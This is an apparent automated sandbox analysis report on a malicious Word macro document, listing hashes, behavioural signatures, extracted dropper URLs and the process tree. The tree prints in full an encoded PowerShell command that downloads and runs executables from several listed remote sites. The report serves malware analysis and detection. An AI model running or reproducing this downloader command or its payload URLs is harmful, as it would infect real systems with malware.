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Analysis

  • max time kernel
    121s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240215-en
  • resource tags

    arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
  • submitted
    28/05/2024, 17:33

General

  • Target

    7dcbf17d1b295fed03edffd18b150e5e_JaffaCakes118.doc

  • Size

    215KB

  • MD5

    7dcbf17d1b295fed03edffd18b150e5e

  • SHA1

    54a644592cb7aba208016c368f88ddca1cac2007

  • SHA256

    067eb151263b210a180acec91b442c110a21200820760e17f408b1fbbfe4f67a

  • SHA512

    3fe4b98159a085d72feecde3ff4c0e8afd6ef89e0acd360fee1f3091f4cd14c2740c24648d85d6055255e9b558cb0694076a32024413f5c7c7108b1dffd66f55

  • SSDEEP

    1536:2B445TEgrO3jSWAg83tle1ZZ0293QM0eetR2cOupLB5UZ55+a9+kLShGkVAelnXt:222TWTogk079THcpOu5UZJWhGMlnpXD

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://dongyabingfu.com/wp-includes/w/

exe.dropper

http://givingthanksdaily.com/Q/

exe.dropper

http://uniteddatabase.net/wp-admin/dhJ/

exe.dropper

http://www.gozowindmill.com/meteo/nmy/

exe.dropper

http://kcdryervents.com/ca/D/

exe.dropper

http://www.greaudstudio.com/docs/kGQ/

exe.dropper

https://mrveggy.com/erros/3Ss/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7dcbf17d1b295fed03edffd18b150e5e_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2040
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2532
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -en JABYADMAZAB4AGIAaQBnAD0AKAAoACcARgAwACcAKwAnADIAJwApACsAKAAnAG8AMAAnACsAJwAyAGEAJwApACkAOwAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAGkAdABlAG0AJwApACAAJABFAE4AdgA6AFUAcwBFAHIAcABSAE8AZgBpAEwARQBcAE8ANAA0AHYAawA0AHcAXAB1AGwASgAyAEgAQgAxAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQAaQByAEUAYwB0AG8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAARQBDAHUAUgBgAEkAYABUAHkAUABSAE8AdABvAGAAQwBvAGwAIgAgAD0AIAAoACgAJwB0ACcAKwAnAGwAcwAnACkAKwAoACcAMQAnACsAJwAyACwAIAAnACkAKwAoACcAdAAnACsAJwBsAHMAMQAxACwAJwApACsAKAAnACAAdABsACcAKwAnAHMAJwApACkAOwAkAEsAaAB4AHgAZwBjAHMAIAA9ACAAKAAnAEkAJwArACgAJwB5ADQANAAnACsAJwBqACcAKQArACcANwAnACkAOwAkAFYAcQBxAHoAdgBhAHgAPQAoACcASgByACcAKwAoACcAdgAnACsAJwAxAHAAXwAnACkAKwAnADcAJwApADsAJABRAGMAbgByADcAawBuAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAE8AdQAnACsAKAAnAHcAJwArACcATwA0ADQAdgBrADQAJwApACsAJwB3ACcAKwAnAE8AdQAnACsAKAAnAHcAJwArACcAVQBsAGoAMgBoAGIAMQAnACsAJwBPACcAKwAnAHUAJwApACsAJwB3ACcAKQAgAC0AQwByAGUAcABsAGEAQwBFACAAKAAnAE8AJwArACcAdQB3ACcAKQAsAFsAYwBIAEEAcgBdADkAMgApACsAJABLAGgAeAB4AGcAYwBzACsAKAAnAC4AJwArACgAJwBlACcAKwAnAHgAZQAnACkAKQA7ACQASQB3AHkAbwBtAGMAaQA9ACgAJwBBAGsAJwArACcAZgAnACsAKAAnAHAAJwArACcAdABqADkAJwApACkAOwAkAEMAbgB3ADIAegBvAHoAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4AZQB0AC4AdwBFAEIAQwBsAEkARQBuAFQAOwAkAEsAdgB1AGYAdwB2AG4APQAoACgAJwBoACcAKwAnAHQAdAAnACsAJwBwADoALwAvAGQAJwApACsAJwBvACcAKwAoACcAbgBnAHkAYQAnACsAJwBiACcAKQArACgAJwBpAG4AZwBmACcAKwAnAHUAJwApACsAKAAnAC4AYwBvAG0ALwB3ACcAKwAnAHAAJwArACcALQBpAG4AYwBsACcAKwAnAHUAJwApACsAJwBkACcAKwAoACcAZQBzAC8AJwArACcAdwAnACkAKwAoACcALwAqAGgAdAAnACsAJwB0AHAAOgAnACsAJwAvAC8AZwAnACsAJwBpAHYAJwApACsAKAAnAGkAbgBnAHQAaAAnACsAJwBhACcAKQArACcAbgAnACsAKAAnAGsAJwArACcAcwBkAGEAaQBsAHkAJwArACcALgBjACcAKQArACcAbwBtACcAKwAoACcALwBRAC8AKgAnACsAJwBoACcAKQArACcAdAAnACsAKAAnAHQAcAA6ACcAKwAnAC8AJwApACsAJwAvACcAKwAoACcAdQAnACsAJwBuAGkAJwApACsAKAAnAHQAZQBkACcAKwAnAGQAJwApACsAKAAnAGEAdAAnACsAJwBhACcAKQArACcAYgAnACsAKAAnAGEAcwAnACsAJwBlACcAKQArACgAJwAuACcAKwAnAG4AZQAnACkAKwAnAHQAJwArACgAJwAvACcAKwAnAHcAJwArACcAcAAtAGEAZABtAGkAbgAvAGQAJwApACsAKAAnAGgAJwArACcASgAvACoAJwApACsAJwBoAHQAJwArACgAJwB0AHAAJwArACcAOgAvAC8AdwAnACkAKwAnAHcAdwAnACsAKAAnAC4AZwAnACsAJwBvAHoAJwArACcAbwB3AGkAbgAnACkAKwAnAGQAJwArACgAJwBtACcAKwAnAGkAbAAnACkAKwAnAGwAJwArACcALgBjACcAKwAnAG8AJwArACgAJwBtAC8AJwArACcAbQAnACkAKwAnAGUAJwArACgAJwB0AGUAbwAnACsAJwAvAG4AJwApACsAKAAnAG0AeQAvACoAaAB0ACcAKwAnAHQAJwApACsAJwBwACcAKwAnADoALwAnACsAKAAnAC8AawBjACcAKwAnAGQAJwApACsAJwByAHkAJwArACcAZQByACcAKwAoACcAdgBlAG4AJwArACcAdAAnACkAKwAoACcAcwAnACsAJwAuAGMAbwBtAC8AYwBhACcAKQArACcALwAnACsAJwBEAC8AJwArACgAJwAqAGgAdAAnACsAJwB0ACcAKQArACgAJwBwACcAKwAnADoALwAvAHcAJwApACsAKAAnAHcAdwAnACsAJwAuACcAKQArACgAJwBnAHIAZQAnACsAJwBhAHUAZAAnACkAKwAnAHMAdAAnACsAJwB1ACcAKwAnAGQAJwArACgAJwBpAG8ALgAnACsAJwBjACcAKQArACcAbwBtACcAKwAoACcALwAnACsAJwBkAG8AYwAnACkAKwAnAHMALwAnACsAJwBrACcAKwAnAEcAUQAnACsAKAAnAC8AKgAnACsAJwBoAHQAJwApACsAKAAnAHQAJwArACcAcABzACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAnAG0AJwArACgAJwByAHYAZQAnACsAJwBnACcAKwAnAGcAeQAuAGMAJwApACsAJwBvAG0AJwArACgAJwAvAGUAcgByACcAKwAnAG8AJwArACcAcwAvADMAUwAnACkAKwAnAHMALwAnACkALgAiAFMAUABgAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQQBoAGoAZwB3AHQAdwA9ACgAKAAnAE8AJwArACcAdQBvADgAJwApACsAKAAnAG8AYQAnACsAJwB3ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARQA1AGoAbgB3AGIAcQAgAGkAbgAgACQASwB2AHUAZgB3AHYAbgApAHsAdAByAHkAewAkAEMAbgB3ADIAegBvAHoALgAiAEQAYABvAFcAbgBMAGAAbwBBAGAAZABGAGkATABFACIAKAAkAEUANQBqAG4AdwBiAHEALAAgACQAUQBjAG4AcgA3AGsAbgApADsAJABMAGUAcQBoAHcAcgBoAD0AKAAnAEYAcgAnACsAKAAnAHkAawAnACsAJwA2ACcAKQArACcAaAA2ACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABRAGMAbgByADcAawBuACkALgAiAGwAYABlAG4AZwB0AGgAIgAgAC0AZwBlACAAMgAyADEAMgAzACkAIAB7ACYAKAAnAEkAJwArACcAbgB2AG8AawBlACcAKwAnAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAFEAYwBuAHIANwBrAG4AKQA7ACQAVQB6AGgAMQB6ADAANQA9ACgAJwBOACcAKwAoACcANQA0ACcAKwAnAHoAbAB2AGEAJwApACkAOwBiAHIAZQBhAGsAOwAkAEEAMABwADQAMgBnAHUAPQAoACcATQAwACcAKwAoACcAZQAnACsAJwA2AG0AagBtACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABIAG4AdgBtAG8AcAAzAD0AKAAoACcAUQBoAGMAJwArACcAeQBwACcAKQArACcAZAAnACsAJwA5ACcAKQA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2656

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      e09c487ea67e2dbacc2540a5b000ad9a

      SHA1

      6c7a686034cebf903993b5246caf99ebcfabc865

      SHA256

      6be1965f7327173a49f49fc75fd82157e7ac4dab4774bc94dc44d4e833aa40e9

      SHA512

      9f621c61d3641d57f5529472bda9fdcc2beff1a56e4271a8d67365104db211004e1598bf53e1da55b8205deda834723af6e37a0e6d39c931edc6c2561e7de26e

    • memory/2040-33-0x0000000005970000-0x0000000005A70000-memory.dmp

      Filesize

      1024KB

    • memory/2040-2-0x0000000070B1D000-0x0000000070B28000-memory.dmp

      Filesize

      44KB

    • memory/2040-6-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/2040-7-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/2040-8-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/2040-13-0x0000000005970000-0x0000000005A70000-memory.dmp

      Filesize

      1024KB

    • memory/2040-22-0x0000000005970000-0x0000000005A70000-memory.dmp

      Filesize

      1024KB

    • memory/2040-27-0x0000000005970000-0x0000000005A70000-memory.dmp

      Filesize

      1024KB

    • memory/2040-0-0x000000002F821000-0x000000002F822000-memory.dmp

      Filesize

      4KB

    • memory/2040-32-0x0000000005970000-0x0000000005A70000-memory.dmp

      Filesize

      1024KB

    • memory/2040-51-0x0000000070B1D000-0x0000000070B28000-memory.dmp

      Filesize

      44KB

    • memory/2040-73-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/2040-72-0x0000000070B1D000-0x0000000070B28000-memory.dmp

      Filesize

      44KB

    • memory/2040-52-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/2040-54-0x0000000005970000-0x0000000005A70000-memory.dmp

      Filesize

      1024KB

    • memory/2040-55-0x0000000005970000-0x0000000005A70000-memory.dmp

      Filesize

      1024KB

    • memory/2040-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2040-71-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2656-39-0x000000001B640000-0x000000001B922000-memory.dmp

      Filesize

      2.9MB

    • memory/2656-40-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

      Filesize

      32KB